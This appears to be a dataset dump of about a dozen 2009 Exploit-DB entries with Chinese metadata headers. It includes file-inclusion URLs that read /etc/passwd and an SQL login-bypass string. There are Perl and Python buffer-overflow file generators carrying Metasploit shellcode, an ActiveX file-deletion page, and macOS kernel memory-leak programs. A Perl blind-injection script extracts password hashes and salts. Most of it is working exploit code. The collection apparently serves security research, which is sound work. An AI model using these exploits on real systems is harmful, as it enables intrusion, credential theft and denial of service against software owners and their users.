QLWD/code_shield huggingface dataset:
标题: acute control panel 1.0.0 - SQL Injection / Remote File Inclusion EDB-ID: 8291 CVE: 2009-1248 2009-1247 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-26 漏洞利用脚本: ###############################################################
[+] Acute Control Panel 1.0.0 RFI/SQL Injection (Auth Bypass)
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
###############################################################

[+] Remote File Inclusion

 Vulnerable code in container.php

-----------------------------------------------------------
<?php include_once($theme_directory."/sidebar.php"); ?>
-----------------------------------------------------------

 PoC :

  http://127.0.0.1/themes/container.php?theme_directory=[Shell]%00

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 Vulnerable code in header.php

--------------------------------------------------------------
<?php include_once($theme_directory."/navigation.php"); ?>
--------------------------------------------------------------

 PoC :

  http://127.0.0.1/themes/header.php?theme_directory=[Shell]%00

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[+] SQL Injection (Auth Bypass)

 Vulnerable code in login.php

--------------------------------------------
$query = mysql_query("SELECT
id,username,password,email,fullname,permissions FROM `users` WHERE
username='$username' AND password='$password'", $conn) or
die(mysql_error());
--------------------------------------------

 PoC :

  Username : admin ' or ' 1=1
  Password : anything or nothing

################################################################

# milw0rm.com [2009-03-26] URL: https://www.exploit-db.com/exploits/8291
标题: blogplus 1.0 - Multiple Local File Inclusions EDB-ID: 8290 CVE: 2009-1246 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-26 漏洞利用脚本: --:local file include:--
                       ---------------------------------  
script:blog+ v1.0
   
----------------------------------------------
download from:http://www.ziddu.com/download/3151643/blogplus_v1.0_final.zip.html
   
----------------------------------------------

...............................................
vul:/includes/

block_center_down.php = $block_center_down_file = $row_mysql_blocks_center_down['file']; line 6
  include ("blocks/".$block_center_down_file.""); line 7 

block_center_top..php = $block_center_top_file = $row_mysql_blocks_center_top['file']; 6
  include ("blocks/".$block_center_top_file.""); 7

-------------------------------------------
vul:/includes/

block_left.php = $block_left_file = $row_mysql_blocks_left['file']; line 8
  include ("blocks/".$block_left_file.""); 9


block_right.php = $block_right_file = $row_mysql_blocks_right['file']; 6
  include ("blocks/".$block_right_file.""); 7


line1; window_down.php = <?php include ("themes/".$row_mysql_bloginfo['theme']."/down.html"); ?>

line1; window_top.php = <?php include ("themes/".$row_mysql_bloginfo['theme']."/top.html"); ?>


-------------------------------------------
-------------------------------------------
xpl:

/path/includes/block_center_down.php?row_mysql_blocks_center_down[file]=../../../../../../etc/passwd
/path/includes/block_center_top.php?row_mysql_blocks_center_top[file]=../../../../../../etc/passwd
/path/includes/block_left.php?row_mysql_blocks_left[file]=../../../../../../etc/passwd
/path/includes/block_right.php?row_mysql_blocks_right[file]=../../../../../../etc/passwd
/path/includes/window_down.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
/path/includes/window_top.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]

---------------------------------------------------

# milw0rm.com [2009-03-26] URL: https://www.exploit-db.com/exploits/8290
标题: Arcadwy Arcade Script - 'Username' Static Cross-Site Scripting EDB-ID: 8296 CVE: 2009-1228 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-27 漏洞利用脚本: #################################\
# Information          
# Script                 : Arcadwy Arcade Script CMS             
# Buy/Download   : http://arcadwy.com/                           
# Vulnerability      : Static XSS                                          
# Discovered by    : Anarchy Angel                                    
# Contact              : anarchy[dot]ang31 [@] gmail           
# Website              : http://hha.zapto.org                           
# Greets                : Xteaphn, lun0s, BSDgurl, progenic.  
\#################################/

[!] EXPLOIT
    1) Go to http://site.com/register.php
    2) In username field input XSS payload
    3) Fill in the rest of the fields and submit.
    4) Activate account!

Every time the accounts username is shown on the site the XSS will run.
Usernames show in comments, game scores, and so on.

[!] FIX: Sanitize all input from the registers page form.

# milw0rm.com [2009-03-27] URL: https://www.exploit-db.com/exploits/8296
标题: Mozilla Firefox XSL - Parsing Remote Memory Corruption (PoC) (1) EDB-ID: 8285 CVE: 2009-1169 类型: DOS 平台: MULTIPLE 发布日期: 2009-03-25 漏洞利用脚本: // firefox XSL parsing remote memory corruption poc

// k`sOSe - works both in windows and linux

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8285.tar.gz (2009-ffox-poc.tar.gz)

# milw0rm.com [2009-03-25] URL: https://www.exploit-db.com/exploits/8285
标题: Microsoft GdiPlus - EMF GpFont.SetData Integer Overflow (PoC) EDB-ID: 8281 CVE: 2009-1217 类型: DOS 平台: WINDOWS 发布日期: 2009-03-24 漏洞利用脚本: Microsoft GdiPlus.dll EMF GpFont::SetData Stack Overflow

Write up by redsand@blacksecurity.org : http://bl4cksecurity.blogspot.com/2009/03/microsoft-gdiplus-emf-gpfontsetdata.html
Credits to mIKEJONES for providing the .EMF Crash

down: http://www.blacksecurity.org/voltage-exploit.emf
back: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8281.emf (2009-voltage-exploit.emf)

# milw0rm.com [2009-03-24] URL: https://www.exploit-db.com/exploits/8281
标题: eXeScope 6.50 - Local Buffer Overflow EDB-ID: 8270 CVE: 2009-1063 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-23 漏洞利用脚本: #!/usr/bin/perl
#
# eXeScope 6.50 Local Buffer Overflow Exploit
#
# Download eXeScope 6.50 at:
# http://hp.vector.co.jp/authors/VA003525/eXeSc650.zip
#
# Exploit by: Koshi ( heykoshi@gmail.com )
# 

use strict;
use warnings;

my $headers = 
 "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00".
 "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB8\x00\x00\x00".
 "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68".
 "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F".
 "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x65\x69\x74\x68\x65\x72\x20".
 "\x77\x61\x79\x21\x21\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00".
 "\x8F\x8A\xF9\xDB\xCB\xEB\x97\x88\xCB\xEB\x97\x88\xCB\xEB\x97\x88".
 "\x48\xF7\x99\x88\xCA\xEB\x97\x88\xA2\xF4\x9E\x88\xCA\xEB\x97\x88".
 "\x22\xF4\x9A\x88\xCA\xEB\x97\x88\x52\x69\x63\x68\xCB\xEB\x97\x88".
 "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\xFF\x00".
 "\xAB\xBA\x5C\x49\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\xF0\x01".
 "\x00"x224;


# win32_exec -  EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai http://metasploit.com
my $shellcode =
 "\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23".
 "\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0".
 "\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3".
 "\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f".
 "\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4".
 "\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2".
 "\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba".
 "\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f".
 "\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56".
 "\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9".
 "\xe4";

my $buff0 = "A"x4148;
my $eip   = "\x58\x32\x4D\x00"; # 004d3258 - eXeScope.exe
my $sled  = "\x90"x20;
my $len   = 6028 - length($shellcode);
my $buff1 = "A"x$len;
my $datas = $headers.$buff0.$eip.$sled.$shellcode.$buff1;

open(my $files, "> example.exe");
binmode $files;
print $files $datas;
close($files);

# milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8270
标题: Jinzora Media Jukebox 2.8 - 'name' Local File Inclusion EDB-ID: 8278 CVE: 2009-2313 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-24 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##########################################################################
 #  [ Jinzora Media Jukebox <= 2.8 ]  Local File Inclusion Vulnerability  #
 ##########################################################################
 #
 # Script site: http://jinzora.com/ ,  http://sourceforge.net/projects/jinzora/ 
 # Download: http://downloads.sourceforge.net/jinzora/jz280.tar.gz?use_mirror=freefr
 #
 # Vuln: http://site.com/jinzora2/index.php?op=1&name=../../../../../../etc/passwd%00
 #      
 # Bug: ./jinzora2/index.php (lines: 36-47, 95)
 #
 # ...
 # $include_path = ""; $link_root = ""; $cms_type = "standalone"; $cms_mode = "false";
 # $backend = ""; $jz_lang_file = ""; $skin = ""; $my_frontend = "";
 #
 # if (isset($_GET['op'])){       // (1)
 #  // This has got to be postnuke...
 #  $include_path = "modules/". $_GET['name']. "/";    // (2)
 #  $link_root = "modules.php?";
 #  $cms_type = "postnuke";
 #  $cms_mode = "true";
 # } else if (isset($_GET['name']) and !isset($_GET['op'])){
 #  // This has got to be phpnuke
 #  $include_path = "modules/". $_GET['name']. "/";
 # ...   
 #
 #  @include($include_path. 'settings.php');      // (3) LFI
 # ...   
 #
 #
 ###############################################
 # Greetz: mama * tata * str0ke * and otherz..
 ###############################################

 [ dun / 2009 ] 

*******************************************************************************************

# milw0rm.com [2009-03-24] URL: https://www.exploit-db.com/exploits/8278
标题: Zinf Audio Player 2.2.1 - '.pls' Universal Overwrite (SEH) EDB-ID: 8267 CVE: 2004-0964 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-23 漏洞利用脚本: #usage: exploit.py
print "**************************************************************************"
print " Zinf Audio Player 2.2.1 (.pls) Universal Seh Overwrite Exploit\n"
print " Founder: Hakxer"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz), www.secdz.com\n"
print "**************************************************************************"
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com 
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x53\x4b\x48\x4e\x57"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x34"
"\x4b\x58\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x31\x4b\x58"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x56\x4b\x58\x42\x34\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x38\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x50\x4b\x58\x4a\x56\x4e\x33\x4f\x55\x41\x33"
"\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x55\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x45\x4a\x36\x4a\x39"
"\x50\x4f\x4c\x48\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x56\x42\x30\x5a")

exploit =   "\x41"*1424
exploit +=  "\xEB\x06\x90\x90"
exploit +=  "\x0C\x04\x05\x12" # zinf.ui
exploit +=  shellcode

try:
    out_file = open("exploit.pls",'w')
    out_file.write(exploit)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8267
标题: Orbit Downloader 2.8.7 - Arbitrary File Deletion EDB-ID: 8257 CVE: 2009-1064 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-23 漏洞利用脚本: [waraxe-2009-SA#073] - Arbitrary File Deletion in Orbit Downloader <= 2.8.7
===============================================================================

Author: Janek Vind "waraxe"
Date: 21. March 2009
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-73.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Orbit Downloader, leader of download manager revolution, is devoted to new
generation web (web2.0) downloading, such as video/music/streaming media from
Myspace, YouTube, Imeem, Pandora, Rapidshare, support RTMP. And to make general
downloading easier and faster.

http://www.orbitdownloader.com/


List of found vulnerabilities
===============================================================================

1. Arbitrary File Deletion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CLSID: {3F1D494B-0CEF-4468-96C9-386E2E4DEC90}
ProgID: Orbitmxt.Orbit
Executable: orbitmxt.dll
File Version: 2.1.0.2

Tested on following platforms:

1. Windows XP Pro SP3/IE 6 SP1
2. Windows Vista Ultimate 64-bit SP1/IE 7

In both cases IE security settings were default for Internet Zone.
Exploitation tests ended successfully without any warnings or other interaction
from Internet Explorer.

Proof Of Concept:

<html><head>
<title>Orbit Downloader &lt;= 2.8.7 Arbitrary File Deletion PoC by waraxe</title>
<script>
function test()
{
 waraxe.download('','','" /Lc:\\test.txt "','',1);
}
</script>
</head><body>
<object
id="waraxe" name="waraxe"
classid="CLSID:3F1D494B-0CEF-4468-96C9-386E2E4DEC90"
width="50" height="50">
</object>
<br><center>
<button onclick="javascript:test();">  Test  </button>
</body></html>

For testing first create "test.txt" file to the C: root dir and
then use IE and hit test button. "test.txt" should be deleted for now  :) 


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

03/04/09 Developer contacted
03/04/09 Developer's initial response
03/04/09 Findings sent to developer
03/18/09 New version 2.8.7 released, no fix for specific issue!
03/21/09 Public disclosure


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, mge, str0ke,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
---------------------------------- [ EOF ] ------------------------------------

# milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8257
标题: Apple Mac OSX xnu 1228.3.13 - 'macfsstat' Local Kernel Memory Leak/Denial of Service EDB-ID: 8263 CVE: 2009-1237 类型: DOS 平台: OSX 发布日期: 2009-03-23 漏洞利用脚本: /* xnu-macfsstat-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sun 13 Apr 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>

#define LEAK_BUFBYTES(a) (sizeof (struct statfs)*a)
#define LEAK_MACBYTES(a) (sizeof (int)*a)

struct __mac_getfsstat {
  char *buf;   char _pad[4];
  int bufsize; char __pad[4];
  char *mac;   char ___pad[4];
  int macsize; char ____pad[4];
  int flags;   char _____pad[4];
};

int
main (int argc, char **argv)
{
  struct __mac_getfsstat req;
  int i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  memset (&req, 0, sizeof req);
  req.buf = (char *) 0xDEADBEEF;
  req.bufsize = LEAK_BUFBYTES (65536 * 64);
  req.mac = (char *) 0xDEADBEEF;
  req.macsize = LEAK_MACBYTES (65536 * 64);

  for (i = 0; i < 2; i++)
    {
      if ((n = syscall (SYS___mac_getfsstat, req.buf, req.bufsize, req.mac, req.macsize, req.flags)) < 0)
        {
          fprintf (stderr, "leaked %lu-bytes of kernel memory!\n", LEAK_MACBYTES (65536 * 64));
        }
    }

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8263
标题: Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC) EDB-ID: 8264 CVE: 2009-1237 类型: DOS 平台: OSX 发布日期: 2009-03-23 漏洞利用脚本: /* xnu-profil-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

/* profil defines */
#define PROFIL_LEAK_NUM   65536 * 128

int
main (int argc, char **argv)
{
  char buf[1024];
  int i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  printf ("* opening profil, pid: %d...", getpid ());
  if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32);
  fflush (stdout);

  for (i = 0; i < PROFIL_LEAK_NUM; i++)
    {
      if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0)
        {
          fprintf (stderr, "\n%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf ("** %d-bytes filled\r",  i * 32);
    }
  printf ("\n* done\n");

  while (1)
    sleep (1);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8264
标题: WBB3 rGallery 1.2.3 - 'UserGallery' Blind SQL Injection EDB-ID: 8254 CVE: 2009-2311 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-23 漏洞利用脚本: #!/usr/bin/perl -w

use strict;
use LWP::Simple;

$| = 1;

print q {
#############################
## WBB3 Blind SQL-Injector ##
#### Exploit in rGallery ####
###### by Invisibility ######
#############################
\\\    Special greetz to     #
//  Katharsis/**/nobody     #
\\\    Gunner/**/Cheese      #
//          Thx ;)          #
#############################


};

if (@ARGV < 3) {
 print "Usage: wbb3sploit.pl [url] [user id] [User Gallery userID] \nExample: wbb3sploit.pl www.target.com 1 5\n";
 print "[User Gallery UserID] has to be the ID of a User, who has got pictures.\nExample: www.target.com/index.php?page=RGalleryUserGallery&userID=5\n";
 exit;
}

my $url = shift;
my $uid  = shift;
my $galid  = shift;

my $prefix;

my @charset = ('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0');

print "~ Is it vulnerable?...\n";

my $chreq = get("http://".$url."/index.php?page=RGalleryUserGallery&userID='");

if (($chreq =~ m/Fatal error/i) || ($chreq =~ m/Invalid SQL/i)) {

print "Nice, seems to be vulnerable!\n";

} else {

print "Seems to be patched, sorry\n";
exit;

}

print "~ Checking Prefix...\n";

if ($chreq =~ m/_wcf/i) {

 print "~ Found Prefix '$1'\n";
 $prefix = $1;

} else {
 print "~ Can't find prefix, using 'wcf1_'\n";
 $prefix = "wcf1_";
}

print "~ Exploiting...\n";
print "~^~ Hash: ";

my $counter = 1;
my $countersalt = 1;

while($counter < 41) {

foreach(@charset) {

 my $ascode       = ord($_);
 my $result       = get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/**/AND/**/ascii(substring((SELECT/**/password/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),".$counter."))=".$ascode."");

 if (length($result) != 0) {
  if ($result =~ "Keine") {
  }
  else{
   print chr($ascode);
   $counter++;
   }
  }
 }
}
my $saltcheck = get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/**/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),1))>0");
if($saltcheck =~ "Keine")
{
}
else
{
print "\n~^~ Salt: ";
while($countersalt < 41) {

foreach(@charset) {

 my $ascodesalt       = ord($_);
 my $resultsalt       = get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/**/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),".$countersalt."))=".$ascodesalt."");

 if (length($resultsalt) != 0) {
  if ($resultsalt =~ "Keine") {
  }
  else{
   print chr($ascodesalt);
   $countersalt++;
   }
  }
 }
}
}
print "\n~ Done! Exploit by Invisibility\n";

# milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8254